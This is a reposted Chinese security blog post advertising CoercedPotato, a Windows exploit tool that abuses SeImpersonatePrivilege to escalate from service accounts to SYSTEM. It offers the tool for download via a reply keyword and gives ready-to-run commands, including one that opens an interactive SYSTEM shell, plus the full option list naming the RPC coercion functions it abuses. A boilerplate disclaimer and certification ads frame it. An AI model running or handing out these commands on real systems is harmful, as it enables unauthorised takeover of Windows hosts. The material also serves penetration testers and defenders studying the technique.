CoercedPotato!新土豆提权工具
2023-12-7 10:31:50 Author: 潇湘信安(查看原文) 阅读量:24 收藏

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标”,否则可能看不到了

工具简介

通过在Windows 10、Windows 11和Server 2022上滥用SeImpersonatePrivilege特权可以从LOCAL/NETWORK SERVICE提升为SYSTEM。

工具使用

非常快速POC.\CoercedPotato.exe -c whoami
交互式shellPoC.\CoercedPotato.exe -c cmd.exe

可以使用--help选项检查帮助消息。

CoercedPotato is an automated tool for privilege escalation exploit using SeImpersonatePrivilege or SeImpersonatePrimaryToken.Usage: .\CoercedPotato.exe [OPTIONS]
Options: -h,--help Print this help message and exit -c,--command TEXT REQUIRED Program to execute as SYSTEM (i.e. cmd.exe) -i,--interface TEXT Optionnal interface to use (default : ALL) (Possible values : ms-rprn, ms-efsr -n,--exploitId INT Optionnal exploit ID (Only usuable if interface is defined) -> ms-rprn : [0] RpcRemoteFindFirstPrinterChangeNotificationEx() [1] RpcRemoteFindFirstPrinterChangeNotification() -> ms-efsr [0] EfsRpcOpenFileRaw() [1] EfsRpcEncryptFileSrv() [2] EfsRpcDecryptFileSrv() [3] EfsRpcQueryUsersOnFile() [4] EfsRpcQueryRecoveryAgents() [5] EfsRpcRemoveUsersFromFile() [6] EfsRpcAddUsersToFile() [7] EfsRpcFileKeyInfo() # NOT WORKING [8] EfsRpcDuplicateEncryptionInfoFile() [9] EfsRpcAddUsersToFileEx() [10] EfsRpcFileKeyInfoEx() # NOT WORKING [11] EfsRpcGetEncryptedFileMetadata() [12] EfsRpcEncryptFileExSrv() [13] EfsRpcQueryProtectors() -f,--force BOOLEAN Force all RPC functions even if it says 'Exploit worked!' (Default value : false) --interactive BOOLEAN Set wether the process should be run within the same shell or open a new window. (Default value : true)

下载地址

点击下方名片进入公众号

回复关键字【231030】获取下载链接


信 安 考 证

需要考以下各类安全证书的可以联系我,价格优惠、组团更便宜,还送【潇湘信安】知识星球1年!

CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...


推 荐 阅 读



文章来源: http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247507647&idx=1&sn=b0578e83ecd4922fda4620a6073339be&chksm=cfa57aacf8d2f3ba2079c5c40a12759dad8c7f6f0c2711dbac344ac2a438f8df33cede0d585b&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh